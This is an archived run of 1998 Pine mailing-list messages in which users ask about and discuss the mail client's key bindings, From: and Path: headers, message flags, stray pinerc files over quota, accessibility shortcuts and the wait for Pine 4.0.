>I've got my patch down to three files, so that

> 'j' -> 'n'
> 'k' -> 'p'
> '/' -> 'w'

The "/" drives me nuts. That's such a common way to invoke searches in pagers
and editors. I always hit it first; the error message reminds me of "w".

I wish pine would implicitly enable alternate pagers, which would solve some of
the problems. I'd use less.

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Hello!

I was wondering if there was anyway within Unix pine to alter the From:
header. I have one of those nifty "free e-mail redirection for life"
accounts and I was hoping to set up my outgoing mail to show up from that
address instead of from my actual address.

I'm not terribly concerned about people reading mail headers. I just want
the default reply to be to the "redirector" address. I know, I know..
"Reply-To:". Except that most of the mailing lists I'm on alter Reply-To:
to reply to the list.

Any help would be appreciated.

Keith Shapiro
Lexmark International, Inc.

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From: Edan Idzerda <[email protected]>
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> I was wondering if there was anyway within Unix pine to alter the From:
> header. I have one of those nifty "free e-mail redirection for life"

Try reading the nifty documentation :)

http://www.washington.edu/pine/QandA/custom.html#xtocid301935

- edan

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From: "Robin S. Socha" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: vi-style key bindings
In-Reply-To: "Colin J. Raven"'s message of "Mon, 8 Jun 1998 07:24:53 -0700 (PDT)"
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* Colin J Raven <[email protected]> writes:

> OK Adam, Edan, here it is.... I'm basically stupid, lazy (or maybe
> too damn busy) to learn that beast called vi. In the light of what
> Edan wrote, I fired up vi on Saturday night, and actually read the
> book while playing with the thing. Yeah, OK I see what you and he
> are saying.

It's about as addictive as Emacs. Wait till you get to the syntax
higlighting stuff... ;-)

> Y'see, one of the effects of being so stupid is that it makes a
> person very self-righteous in support of the "easy solution".

pico is not easy. You'll lose much more time adjusting paragraphs and
lines than you'd spend on reading the vi or jed FM.

[...]
> I guess editors that are more powerful are more appropriate when
> you're doing advanced stuff. (ask Robin I guess)

What's "advanced"? I use XEmacs and that's not really an editor but a
programming environment. vi or jed, however, are really easy to learn
(once you find out how to start with the help menu on) and simple
things like yanking in complex quotes or quickly requoting reginons is
a pretty cool thing if you do a lot of mail/news.

> *But* I *do* believe that an editor that you can use in any condition
> (and that certainly applies to me) with immediate and predictable
> results is the one you stick with until you (or the editor) run outta
> steam.

Happened with pico after 20 minutes ]:-> Ever tried justifying
super-cite quotes (RSS> )? Icky.

> Same goes for Elm I s'pose. Believe it or not Adam, *that's* what I
> was getting at. I'm just plain in awe of Edan and folks like him
> who can write C (to start with) and can modify a mail programs'
> feature-set. Well, that's my .02 worth for today...maybe.

Ever tried mutt with vi? Cool stuff - threaded, coloured, killing,
PGP, blablabla. Ummm... and there's Gnus. Heheee...

Robin

--
Robin S. Socha Join the Fight: <http://www.enemy.org/>
Micro$oft Windows 98, n. - a belated upgrade to a 32 bit hack of a
16-bit shell for an 8-bit operating system designed for a 4-bit
processor by a 2-bit company that's not worth one bit of attention.

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Author: Keith Shapiro <[email protected]>
Original-Date: Mon, 8 Jun 1998 14:11:47 -0400 (EDT)
Message-ID: <[email protected]>

> I was wondering if there was anyway within Unix pine to alter the From:
> header.

Yes, it's in the FAQ

http://www.washington.edu/pine/

and gets asked about 1000 times a week.

TjL

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>From: Timothy J Luoma <luomat+Lists/[email protected]>
>Date: Mon, 8 Jun 98 22:06:25 -0400

> Author: Keith Shapiro <[email protected]>
> Original-Date: Mon, 8 Jun 1998 14:11:47 -0400 (EDT)
> Message-ID: <[email protected]>

>>I was wondering if [asked a very frequently asked question]

>Yes, it's in the FAQ

I, for one, intend to ignore this question in the future, and any other FAQ that
gets asked so repetitively. We don't help anyone who can't trouble himself to
read the FAQs.

Especially, those who can't even bother to use a Subject.

They aren't even worth insulting. Delete 'em like spam.

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I have looked, and, with some timidity because of asking a frequently
asked question, still I want to know how to jump to the end of a long
message in pine.
Hopefully I won't get my head bitten off for asking this.
Steve

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>From: Wild Man <[email protected]>
>Date: Thu, 11 Jun 1998 17:03:13 -0400 (EDT)

>I have looked, and, with some timidity because of asking a frequently
>asked question, still I want to know how to jump to the end of a long
>message in pine.
>Hopefully I won't get my head bitten off for asking this.
>Steve

^w ^v

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Help! Until recently I had no problem printing a message in pine; I
would simply type "y" and my printer would print out the current message
or whatever else then appearing on my screen. I recently
had some problems with my modem and internet service, etc. after I
installed MS Internet-Explorer program (figures), and now have finally
gotten most of the bugs out...However, when I hit "y" in pine, my (H-P
682) printer churns and makes all the usual noises and prep. motions, but
then nothing happens (yet the printer works fine in other applications...)
Any ideas? I'm stuck, even tried re-installing my communications/modem
software (Bitcom in DOS), but same problem...Help! Thanks.

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From: Kevin LaRose <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: something I can't find
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CHOMP! CHOMP! Nice clean bite...head came off in only two chomps. <LOL>
On Thu, 11 Jun 1998, Wild Man wrote:

> I have looked, and, with some timidity because of asking a frequently
> asked question, still I want to know how to jump to the end of a long
> message in pine.
> Hopefully I won't get my head bitten off for asking this.
> Steve
>
>
> -----------------------------------------------------------------
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>

Kevin LaRose
<[email protected]>
Owner: Sportstalk-l Mailing List
I am not a nitwit, but I do play one on some mailing lists.

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From: "Brian K. Niece" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: PCPine and Fetchmail?
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I know this is a somewhat hare-brained scheme, but I am
increasingly frustrated with other mail clients, and I really
want to be able to use pine at work. I've appended an
explanation of why I want to do this at the end.

Our mail server does not run an IMAP server, but I would like to
be able to use PCPine. What I would like to do is run a program
such as fetchmail on my pc so that it downloads the mail which I
would then read with pine just as if this were a dial-up
connected linux box or the like. I haven't been able to find a
PC analog of fetchmail, but I'm willing to try the port if
there's some hope of this working. The immediate problem I see,
however, is that PCPine will not read from an inbox on the local
computer, even if one is there. It only speaks IMAP. So, my
questions are as follows:

Will PCPine 4.0 be able to read from an inbox on the local
machine like unix-pine does?

Is there some reason that I haven't foreseen why running a
fetchmail sort of program on a PC won't work?

The reasons I have decided that this is about my only option are
as follows:

1. In 10 years of using email with MUAs ranging from unix-mail
to Netscape, I have never found a client that I like as well as
pine.

2. My office computer is owned by my employer, so running linux
on it is not an option.

3. Our mail server is SERIOUSLY overloaded. Even pop
connections are slow. When I am logged in and try to use Pine
on the server, there is often not enough free core to fork an
editor. On some occasions there is not even enough memory for
me to start unix mail, let alone pine. Given these constraints,
requests to run an IMAP server are hopeless, and perpetually
open POP connections are not likely to perform well, either.

Thanks,
Brian

--
Brian Niece Assumption College
Assistant Professor of Chemistry Division of Natural Sciences
[email protected] 500 Salisbury St.
(508) 767-7210 Worcester, MA 01615

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From: Wild Man <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: a conundrum for some blind folks
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I am a blind pine user and some of my friends and I are wondering if there
is a command to jump from one word to the next without having to use the
^w and searching for the next space.
For instance, in most editers, control right arrow or left arrow will jump
to previous or next word.
Is this possible in pine?
Steve

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From: Arthur Snoke <[email protected]>
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Is there any way to edit a mail file I have received in PINE before
printing it or saving it? Sometimes I would like to fix up the
formatting, get rid of leading >>, etc.

The only ways I have come up with are to export it to a file or mail it to
myself (editing it before sending it).

Also, can I delete an attachment before saving a received mail file?

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Subject: Re: a conundrum for some blind folks
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>From: Wild Man <[email protected]>
>Date: Fri, 12 Jun 1998 16:14:50 -0400 (EDT)

>I am a blind pine user and some of my friends and I are wondering if there
>is a command to jump from one word to the next without having to use the
>^w and searching for the next space.

control-space

However, I've yet to see a telnet or terminal emulation that doesn't trap this.
So, you may have to use the workaround

escape-escape-space

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From: "Adam H. Kerman" <[email protected]>
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Subject: Re: edit before printing/saving
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>From: Arthur Snoke <[email protected]>
>Date: Fri, 12 Jun 1998 15:51:06 -0400 (EDT)

>Is there any way to edit a mail file I have received in PINE before
>printing it or saving it?

No. I recommend saving it to a temporary mail folder, exiting pine, and then
editing the file. Then, in pine, save it to a permanent folder.

>Also, can I delete an attachment before saving a received mail file?

No. Edit as above. Others will recommend using postponed-msgs and then editing
in the composer. However, this will change most of the headers, so I don't care
for this method.

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> control-space
>
> However, I've yet to see a telnet or terminal emulation that doesn't
trap this.
> So, you may have to use the workaround
>
> escape-escape-space

I am using the beta of secure CRT right now, (2.2b4) from vandyke- and
control-space works great. ($term=vt220) Never knew this- it's pretty
usefull to me, even though I can see fine. ;)

-=Jim=-

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Our old System was running HP-UX 10.20
Our new system is Running AIX 4.2.1

Pine Users on Our old system use to be able to filter messages with a file
called ".mailfilt" in their home directories. What do we need to have on
our AIX system to enable this function?

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From: ANA LIDIA FALCON BALDERAS <[email protected]>
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Hi!

I'm System Administrator, and this week I was configuring pine,
but, I want the users can't save files in disk, but, I don't
know how to do it.
Do you know if there is a compile way to avoid the users can't
save files in disk and not use espace?

I hope you can helpme

Thanks in Advanced

p.d. I'm sorry but, my english is poor.

Ana Lidia Falcon B.
Consorcio Red Uno S.A de C.V
[email protected]
Tel. (525) 6244400 Ext. 4603

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Also, am using the 2.7b version of NCSA telnet for the mac, it's
emulation also handles the control-space character for jumping to the next
word. So, that means I'm 2-for-2 on emulations I have checked... maybe
this isn't so rare after all, eh?

-=Jim=-

P.S. Since this only has marginal relation to pine, I'll give a whack at
the question about preventing users from saving things to the mail spool
directory...

First, why not stick the spool file in the users' directories- I know
this can be done, although it might mean hacking sendmail. OK, so I just
answered why not all on my own. ;)

Second, if you can- limit the user to their home directory with pine's
(forget that dang name right now) feature. Be warned though- at least on
my system I couldn't use an alternate editor or speller.

Third, set up a quota on the spool partition that only allows one
block. As long as it's a different logical partition, that should work.

This is turning in to one of those questions like "how do I make a
mailing list" - there are literally 1024 answers or more. Maybe these
ideas will give someone better ones.

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From: Raja BrewHaHa <[email protected]>
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Subject: IMAP--empty list.
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I've been accessing the pine-info mailing list about once a month for
about ten months (been away for about three) with this set up:

PINE 3.95 SETUP CONFIGURATION <mail/[]> postponed-msgs 10 Msgs

personal-name = Raja BrewHaHa
user-domain = <No Value Set: using "freenet.edmonton.ab.ca">
smtp-server = <Value is Fixed>
nntp-server = news.sas.ab.ca
inbox-path = <Value is Fixed: using "/u/065/brewhaha/mail/INBOX">
folder-collections = mail/[]
*{ftp.cac.washington.edu/anonymous}pine/pine-info/[]
news-collections = news *{news.sas.ab.ca/nntp}[]
incoming-archive-folders = <No Value Set>
pruned-folders = <No Value Set>
default-fcc = <No Value Set: using "sent-mail">
default-saved-msg-folder = <No Value Set: using "saved-messages">
postponed-folder = <Value is Fixed: using "postponed-msgs">
read-message-folder = <No Value Set>
signature-file = <No Value Set: using ".signature">
global-address-book = <No Value Set>
address-book = <No Value Set: using ".addressbook">
feature-list =
Set Feature Name

? Help E Exit Config P Prev - PrevPage A Add Value Y prYnt
C [Change Val] N Next Spc NextPage D Delete Val W WhereIs
_________End screen shot________

The problem is that the folder I get from the IMAP server is now always
"empty". I had no problem before. I have no problem FTPing that directory
with Lynx, and it is far from empty. I've tried it as a news collection.

Can anyone tell me what could have chanjed?
Hav I been getting by miraculously with the wrong syntax?

_______
Let the hairy fish roll.

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Reply-To: Florian Kolbe <[email protected]>
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From: Florian Kolbe <[email protected]>
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On Fri, 12 Jun 1998, Arthur Snoke wrote:

> Also, can I delete an attachment before saving a received mail file?

This is supposed to be added in 4.0. See the 'MIME' section under:

http://www.washington.edu/pine/changes/4.00-preview/

Florian

############################################################################
# Florian Kolbe - [email protected] #
# Uni Konstanz, P1003, Tel. 88-3859 #
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From: Florian Kolbe <[email protected]>
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Subject: wish for 4.0: pgp-awareness
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I hate it, when Pine says:

[Part 1, Application/PGP 667bytes]
[Cannot display this part. Press "V" then "S" to save in a file]

So I added the following line in my .mailcap:

application/pgp; cat %s; copiousoutput

So now pine says:

[Part 1, Application/PGP 667bytes]
[Not Shown. Use the "V" command to view or save this part]

and I have to type vv to finally view the message. This is still a crutch!
Or is there another way? (apart from hacking pine)

I know this has been said before, but I'll say it again:

PLEASE make pine 4.0 pgp-aware.

Florian Kolbe

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# Uni Konstanz, P1003, Tel. 88-3859 #
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I need to know how to find out how to mark messages as new messages rather
than having the marked as already read, how can I accomplish this? I used
to know but didn't make a note.

Steve

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On Mon, 15 Jun 1998, Wild Man wrote:

> I need to know how to find out how to mark messages as new messages rather
> than having the marked as already read, how can I accomplish this? I used
> to know but didn't make a note.
>
I'm not sure if you need the "aggregate command" set for this.
The command to change flags is *, at least as I have PINE configured.

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From: Norbert Koch <[email protected]>
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References: <[email protected]>
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Wild Man writes:

> I need to know how to find out how to mark messages as new messages
> rather than having the marked as already read, how can I accomplish
> this? I used to know but didn't make a note.

Ummm, a long command

; c a * n (select/current/apply/flag/new)

If you want to select more than one message, well don't specify
Current.

BTW, you must have the 'enable-aggregate-command' flag set
(setup/config)

L8er, norbert.

--
Norbert Koch, Delta Industrie Informatik GmbH, Fellbach, Germany.
While I'm in LEVITTOWN I thought I'd like to see the NUCLEAR FAMILY!!

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From: "Adam H. Kerman" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: marking as new
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>From: Norbert Koch <[email protected]>
>Date: 15 Jun 1998 16:59:34 +0200

>Wild Man writes:

>>I need to know how to find out how to mark messages as new messages rather
>>than having the marked as already read, how can I accomplish this? I used to
>>know but didn't make a note.

>Ummm, a long command

>; c a * n (select/current/apply/flag/new)

Too many keystrokes for one message! To change the flag status for the current
message, from either the pager or index, "* n" or whatever flag you like.

>If you want to select more than one message, well don't specify Current.

Suppose you want to change the flags on all read messages:

; s ! n (select status not new)

This is confusing: The flag command under select is called status! I hope that
his is changed in version 4.

To change the flags back to new:

a * n (apply flag new)

Several flags can be changed: important (proprietary to pine), deleted, or
answered. Of course, deleted can be reversed with undelete.

pine only sets the "answered" flag when you reply to a message while it's still
in you inbox. If you've saved it to a folder, you must set the flag manually. I
hope this is fixed for version 4. Can the answered flag be seen by other mail
readers, or is this proprietary?

Important shows a "*" in the index. But, it gives you more flexibility to
select.

>BTW, you must have the 'enable-aggregate-command' flag set (setup/config)

You also need to activate the option "enable-flag-command".

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Adam H Kerman writes:

>> From: Norbert Koch <[email protected]> Date: 15 Jun 1998 16:59:34
>> +0200

>> Wild Man writes:

[Adam's good remarks]

Hi Adam.

Thanks very much for the update - looks like I should have a glimpse
into the online help again, I'm way off :-)

Cheers, norbert.

--
Norbert Koch, Delta Industrie Informatik GmbH, Fellbach, Germany.
There's enough money here to buy 5000 cans of Noodle-Roni!

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From: Timothy J Luoma <luomat+Lists/Unix/[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: wish for 4.0: pgp-awareness
References: <Pine.LNX.3.95.980615114723.21085C-100000@plato.physik.uni-konstanz.de>
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How about making PINE-4.0 publically available? That's all I'm
hoping for at this point, some 3 months after being told that it
was "nearing completion".

TjL

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On Mon, 15 Jun 1998, Timothy J Luoma wrote:

> How about making PINE-4.0 publically available? That's all I'm
> hoping for at this point, some 3 months after being told that it
> was "nearing completion".
>

Don't push. They aren't M$. Pine works now. It's also very cheap.
Wanna push for 4.0? Pull some source code an make sure it compiles with no
warnings, despite all warnings being enabled on your compiler.

Don't let the purple headed chicken eat the hairy fish.

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> Wanna push for 4.0? Pull some source code an make sure it compiles
> with no warnings, despite all warnings being enabled on your
> compiler.

I'll be happy if it compiles at all under my OS (OpenStep). My
guess is that I will have to compile it under NeXTStep. I've made
sure that pine/pico/pilot all compile before, and made them available
for those who prefer precompiled binaries.

Of course, that's all for 3.9x.... I don't have access to any 4.0 code to
see whether or not that compiles.

TjL

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From: "Adam H. Kerman" <[email protected]>
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Subject: status command confusingly named
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I find the command "; s" (select status) confusingly named.

The command allows you select messages based on the status of their flags:
important, new, deleted, answered (or not flagged thusly).

Every other command that referes to flags calls it "*"! Two different names
isn't intuitive.

Is there a historical reason for this? Or, were there simply two different
programmers handling these aspects?

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From: Dennis Gurgul <[email protected]>
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Subject: pinerc files
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Does anyone know what's causing this user to have so many pinerc files in
their directory? Running 3.95 on Digital Unix 4.0b. Thanks:

-rw------- 1 ma users 0 Jun 9 13:02 pinerc000179
-rw------- 1 ma users 0 Jun 2 16:14 pinerc000487
-rw------- 1 ma users 0 Jun 6 11:10 pinerc000553
-rw------- 1 ma users 0 Jun 9 13:11 pinerc001038
-rw------- 1 ma users 0 Jun 3 11:21 pinerc001192
-rw------- 1 ma users 0 Jun 2 16:00 pinerc002001
-rw------- 1 ma users 0 Jun 9 13:24 pinerc002051
-rw------- 1 ma users 0 Jun 3 11:33 pinerc002238
-rw------- 1 ma users 0 Jun 1 11:13 pinerc002797
-rw------- 1 ma users 0 Jun 2 16:14 pinerc003670
-rw------- 1 ma users 0 May 29 14:10 pinerc003750
-rw------- 1 ma users 0 Jun 4 13:50 pinerc004019
-rw------- 1 ma users 0 May 29 16:27 pinerc004356
-rw------- 1 ma users 0 Jun 9 13:50 pinerc004598
-rw------- 1 ma users 0 Jun 8 15:30 pinerc004715
-rw------- 1 ma users 0 May 29 16:32 pinerc004971
-rw------- 1 ma users 0 Jun 9 13:58 pinerc005314
-rw------- 1 ma users 0 Jun 1 11:36 pinerc005752
-rw------- 1 ma users 0 Jun 4 13:58 pinerc006233
-rw------- 1 ma users 0 Jun 4 09:56 pinerc007570
-rw------- 1 ma users 0 May 29 14:51 pinerc008953
-rw------- 1 ma users 0 Jun 1 14:37 pinerc008966
-rw------- 1 ma users 0 Jun 5 16:40 pinerc009282
-rw------- 1 ma users 0 Jun 3 14:11 pinerc009606
-rw------- 1 ma users 0 May 27 13:45 pinerc009777
-rw------- 1 ma users 0 May 28 15:15 pinerc010106
-rw------- 1 ma users 0 Jun 9 09:35 pinerc010234
-rw------- 1 ma users 0 May 27 16:52 pinerc011079
-rw------- 1 ma users 0 May 29 10:51 pinerc011124
-rw------- 1 ma users 0 Jun 9 09:49 pinerc011618
-rw------- 1 ma users 0 Jun 9 09:55 pinerc012321
-rw------- 1 ma users 0 Jun 9 09:57 pinerc012664
-rw------- 1 ma users 0 May 29 10:19 pinerc012823
-rw------- 1 ma users 0 May 28 14:55 pinerc012869
-rw------- 1 ma users 0 Jun 2 14:28 pinerc012910
-rw------- 1 ma users 0 Jun 9 10:07 pinerc013686
-rw------- 1 ma users 0 Jun 8 16:16 pinerc014780
-rw------- 1 ma users 0 Jun 3 07:59 pinerc015398
-rw------- 1 ma users 0 Jun 9 10:26 pinerc015550
-rw------- 1 ma users 0 Jun 8 14:03 pinerc015723
-rw------- 1 ma users 0 Jun 3 10:55 pinerc016441
-rw------- 1 ma users 0 Jun 8 16:30 pinerc017616
-rw------- 1 ma users 0 Jun 8 09:33 pinerc018859
-rw------- 1 ma users 0 Jun 5 14:58 pinerc018973
-rw------- 1 ma users 0 Jun 10 09:26 pinerc022879
-rw------- 1 ma users 0 Jun 8 14:58 pinerc023031
-rw------- 1 ma users 8192 May 27 16:00 pinerc023401
-rw------- 1 ma users 0 Jun 2 15:04 pinerc024933
-rw------- 1 ma users 0 Jun 9 11:50 pinerc025331
-rw------- 1 ma users 0 Jun 2 09:59 pinerc026271
-rw------- 1 ma users 0 Jun 3 10:24 pinerc026765
-rw------- 1 ma users 0 Jun 10 10:53 pinerc028158
-rw------- 1 ma users 0 Jun 2 15:10 pinerc029845
-rw------- 1 ma users 0 Jun 8 10:47 pinerc029858
-rw------- 1 ma users 0 Jun 10 10:50 pinerc030819
-rw------- 1 ma users 0 Jun 10 10:54 pinerc031145
-rw------- 1 ma users 0 Jun 8 10:14 pinerc031266
-rw------- 1 ma users 0 Jun 10 11:02 pinerc032586

Dennis J. Gurgul
Helix System Management
617.724.3169

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Author: Dennis Gurgul <[email protected]>
Original-Date: Mon, 15 Jun 1998 13:39:03 -0400 (EDT)
Message-ID:
<[email protected]>

> Does anyone know what's causing this user to have so many pinerc files in
> their directory? Running 3.95 on Digital Unix 4.0b. Thanks:

Could they be at or over their quota?

TjL

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On Mon, 15 Jun 1998, Timothy J Luoma wrote:

> Author: Dennis Gurgul <[email protected]>
> Original-Date: Mon, 15 Jun 1998 13:39:03 -0400 (EDT)
> Message-ID:
> <[email protected]>
>
> > Does anyone know what's causing this user to have so many pinerc files in
> > their directory? Running 3.95 on Digital Unix 4.0b. Thanks:
>
> Could they be at or over their quota?

Or even worse, file system full :)

Florian

############################################################################
# Florian Kolbe - [email protected] #
# Uni Konstanz, P1003, Tel. 88-3859 #
############################################################################

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From: Florian Kolbe <[email protected]>
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On Mon, 15 Jun 1998, Raja BrewHaHa wrote:

> On Mon, 15 Jun 1998, Timothy J Luoma wrote:
>
> > How about making PINE-4.0 publically available? That's all I'm
> > hoping for at this point, some 3 months after being told that it
> > was "nearing completion".
> >
>
> Don't push. They aren't M$. Pine works now. It's also very cheap.
> Wanna push for 4.0? Pull some source code an make sure it compiles with no
> warnings, despite all warnings being enabled on your compiler.

There's a very enlighting article about engineering free software:

http://www.kde.org/food/cathedral/cathedral-paper.html

I wonder if the pine developers could do it the 'Bazaar' way.

Florian

############################################################################
# Florian Kolbe - [email protected] #
# Uni Konstanz, P1003, Tel. 88-3859 #
############################################################################

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James A. Hunter
Network Manager
email: [email protected]
voice: (712) 325-5381

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They were over quota. Actually, that's how we discovered it. The user
contacted us about a quota problem. So then this happens when someone
goes over quota? Thanks much for the tip. Dennis.

Dennis J. Gurgul
Helix System Management
617.724.3169

On Mon, 15 Jun 1998, Timothy J Luoma wrote:

> Author: Dennis Gurgul <[email protected]>
> Original-Date: Mon, 15 Jun 1998 13:39:03 -0400 (EDT)
> Message-ID:
> <[email protected]>
>
> > Does anyone know what's causing this user to have so many pinerc files in
> > their directory? Running 3.95 on Digital Unix 4.0b. Thanks:
>
> Could they be at or over their quota?
>
> TjL
>
>
>

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On Tue, 16 Jun 1998, Dennis Gurgul wrote:

> They were over quota. Actually, that's how we discovered it. The user
> contacted us about a quota problem. So then this happens when someone
> goes over quota? Thanks much for the tip. Dennis.

I don't know if that's true. I just overloaded one of my accounts and
tried to do a few things with Pine. Generated a bunch of quota-related
error messages but not one .pinerc123456789 file.

Lea

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From: "M/S. SRI LAKSHMI FIBRES" <[email protected]>
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Pl. explain how to *scroll* pine message instead of using space bar
to move page after page to capture the text directly to my computor?
K.V.Sivaraman/coimbatore/India

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Subject: Re: Re.:pine message scrolling
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> Pl. explain how to *scroll* pine message instead of using space bar
> to move page after page to capture the text directly to my computor?
> K.V.Sivaraman/coimbatore/India

..that's two questions I think. I'm not sure about the first one.

As far as printing, a "Y" print command is, possibly requiring the
"aggregate command set" to be enabled.

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From: "RAMACHANDRAN \"CHIDAMBARAM\"" <[email protected]>
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I too wish to have solution. ramchand

---------- Forwarded message ----------
Date: Wed, 17 Jun 1998 08:32:49 +0530 (IST)
From: "M/S. SRI LAKSHMI FIBRES" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re.:pine message scrolling

Pl. explain how to *scroll* pine message instead of using space bar
to move page after page to capture the text directly to my computor?
K.V.Sivaraman/coimbatore/India

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From: [email protected]
To: Pine Discussion Forum <[email protected]>
Subject: Ignored newsgroups header.
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I've been corresponding on USENET with someone who uses a mail2news
gateway. For some reason, when I reply, Pine ignores the newsgroups header
in his e-mail, leaving me to put it in.

Pine 3.95 also doesn't put a Followup-To: header in. I realize that these
should be redundant or useless to software. They are informativ to users
though. Does Pine 3.96 use them?

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From: Raja BrewHaHa <[email protected]>
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Subject: Re: Re.:pine message scrolling
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On Wed, 17 Jun 1998, M/S. SRI LAKSHMI FIBRES wrote:

> I want to see the message *scrolling* & I don't want to see it
> page after page. That's what I mean.

I just use the arrow keys on my VT102 terminal emulator: telix. Beyond
that, there's little I can write for you. I don't even know which version
of Pine you're using.

>
> On Tue, 16 Jun 1998, Raja BrewHaHa wrote:
>
> > > Pl. explain how to *scroll* pine message instead of using space bar
> > > to move page after page to capture the text directly to my computor?
> > > K.V.Sivaraman/coimbatore/India
> >
> > ...that's two questions I think. I'm not sure about the first one.
> >
> > As far as printing, a "Y" print command is, possibly requiring the
> > "aggregate command set" to be enabled.
> >
> >
>

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From: "Adam H. Kerman" <[email protected]>
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Subject: Re: Ignored newsgroups header.
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>From: [email protected]
>Date: Tue, 16 Jun 1998 22:08:07 -0600

>I've been corresponding on USENET with someone who uses a mail2news
>gateway. For some reason, when I reply, Pine ignores the newsgroups header
>in his e-mail, leaving me to put it in.

You aren't giving sufficient information. You aren't using the gateway? What
protocol do you use for Usenet reading?

Generally, it doesn't matter if you put in the newsgroups header or not. Pine
will ignore it in Mail. Unless a Path header is present, showing the bang path
route that the article took to reach your news server, you will not be allowed
to post a followup article to News.

This is actually one of pine's few well-behaved features related to News. Too
many news readers allow mail replies and include headers only applicable to
News, and too many mail readers will allow replies to be posted to News instead,
even if that wasn't the intent.

>Pine 3.95 also doesn't put a Followup-To: header in. I realize that these
>should be redundant or useless to software. They are informativ to users
>though. Does Pine 3.96 use them?

Put it in yourself with Customized-hdrs option in the configuration. Read the
context-sensitive help at that option.

Again, you can add that to a reply sent to you in Mail, but that won't be
sufficient for pine to allow you to post that in News. Followup-To is strictly a
News header.

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On Wed, 17 Jun 1998, Adam H. Kerman wrote:

> You aren't giving sufficient information. You aren't using the gateway? What
> protocol do you use for Usenet reading?

In this case, since he's giving me a carbon copy via e-mail, I'm using
SMTP. I can and usually do yuuz NNTP.

> Generally, it doesn't matter if you put in the newsgroups header or not. Pine
> will ignore it in Mail. Unless a Path header is present, showing the bang path
> route that the article took to reach your news server, you will not be allowed
> to post a followup article to News.

Sure I will. I can put the newsgroups header in if Pine doesn't.

> This is actually one of pine's few well-behaved features related to News. Too
> many news readers allow mail replies and include headers only applicable to
> News, and too many mail readers will allow replies to be posted to News instead,
> even if that wasn't the intent.

In this case, we assume an approval from a moderator, and converse more
rapidly than the approval process completes.

Pine is well-behaved when an NNTP posting host is available. As far as
being well-behaved when deciding whether to post, mail, or both, I'd
prefer to have that choice at submission time.

If I'M using a mail2news gateway because the number of groups is greater
than five and I expect the post to fail, it doesn't really matter--I'll
send it to MIT's gateway. The post will fail locally. It's just a bit
messy, unless I answer "no" to "post?" at submission time.

What I'm saying is that Pine asks the question "post, mail, or both"
twice, and it's a little sloppy the second time. In fact, if the post
fails, I might not want to mail, because that would mean I should
duplicate the mailing on the basis of an incorrect newgroups header alone.

That won't even work when sending to duplication-ignoring mailing lists
like yours. I think you should let your users use BRAINS to decide when to
post or mail, in that order, at submission time.

The feature would be especially useful NOW, when my newsreader is LISTING
comp.mail.pine, saying that it's invalid, and my sysadmins have the
"news-post-without-validation" flag fixed as disabled...exporting to TIN.

In the meantime, I guess I can just be notified of articles posted in
response to mine, and I'll reply to the post. There's a considerable delay
with moderated groups though.

I hav no problems with Windows users. I just have problems when they think
M$ invented the features in it, made them work together, or doesn't
try to cheat on taxes.

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From: Timothy J Luoma <luomat+Lists/Unix/[email protected]>
To: Pine Discussion Forum <[email protected]>
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Author: "Adam H. Kerman" <[email protected]>
Original-Date: Wed, 17 Jun 1998 01:12:51 -0500 (CDT)
Message-ID: <[email protected]>

> Generally, it doesn't matter if you put in the newsgroups header or not.
> Pine will ignore it in Mail. Unless a Path header is present, showing the
> bang path route that the article took to reach your news server, you will
> not be allowed to post a followup article to News.

Actually that's not quite true:

All you need is the Path: line and something in it.

I used to use

Path: Bogus path for PINE

and that would work.

You do have to have a Path: line though, or else it thinks it wasn't a
newsgroup message.

I find this rather annoying personally.

TjL

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On Wed, 17 Jun 1998, Timothy J Luoma wrote:

> Path: Bogus path for PINE
> and that would work.

Yes, and that's specifically what Pine documentation says you don't hav to
do and shouldn't do because you don't have to do.

Ever wonder why intelligent disobedience IS?

> I find this rather annoying personally.

Contradictions in what you're told to do to do what you want...and what
works are annoying.

Hmmm. Now comp.mail.pine is valid. Connection bugs? I remember that Pine
didn't try fetching the NG list again last time.

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From: "Adam H. Kerman" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Ignored newsgroups header.
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>From: Timothy J Luoma <luomat+Lists/Unix/[email protected]>
>Date: Wed, 17 Jun 98 03:41:41 -0400

> Author: "Adam H. Kerman" <[email protected]>
> Original-Date: Wed, 17 Jun 1998 01:12:51 -0500 (CDT)

>>Generally, it doesn't matter if you put in the newsgroups header or not.
>>Pine will ignore it in Mail. Unless a Path header is present, showing the
>>bang path route that the article took to reach your news server, you will
>>not be allowed to post a followup article to News.

>Actually that's not quite true:

>All you need is the Path: line and something in it.

>I used to use

>Path: Bogus path for PINE

>and that would work.

>You do have to have a Path: line though, or else it thinks it wasn't a
>newsgroup message.

Our friend to whom I was replying won't believe me on this point.

Well, I never tried it with a bogus Path. Thanks! I've occassionally copied a
Path from another article to get pine to post.

>I find this rather annoying personally.

Well, it's better than the alternative of some news and mail clients that see
the Newsgroups and assume (incorrectly) that the author means to post News.
Someone will be sure to post an example of another client that has a better
approach, I expect.

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From: "Adam H. Kerman" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Ignored newsgroups header.
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>From: [email protected]
>Date: Wed, 17 Jun 1998 01:14:11 -0600

>On Wed, 17 Jun 1998, Adam H. Kerman wrote:

>>Generally, it doesn't matter if you put in the newsgroups header or not. Pine
>>will ignore it in Mail. Unless a Path header is present, showing the bang path
>>route that the article took to reach your news server, you will not be allowed
>>to post a followup article to News.

>Sure I will. I can put the newsgroups header in if Pine doesn't.

Read what I just wrote a second time. On a reply, posting to News requires more
than adding a Newsgroups header. Pine won't inject the reply into the News
stream unless it thinks the original was News, not Mail.

>In this case, we assume an approval from a moderator, and converse more
>rapidly than the approval process completes.

Then you have no problem at all. Articles for moderated newsgroups are NEVER
injected into the news stream (unless a forgery!) but are mailed to the
moderator. So, mail it directly to the moderator's address!

>If I'M using a mail2news gateway because the number of groups is greater
>than five and I expect the post to fail, it doesn't really matter--I'll
>send it to MIT's gateway. The post will fail locally. It's just a bit
>messy, unless I answer "no" to "post?" at submission time.

Does the gateway require a Newsgroups header? They usually don't. Normally, you
put the newsgroup name in the To. That's the whole point of the gateway: to
transform an ordinary Mail message into an article. Since Newsgroups isn't a
valid Mail header, a well-behaved gateway doesn't expenct to find one.

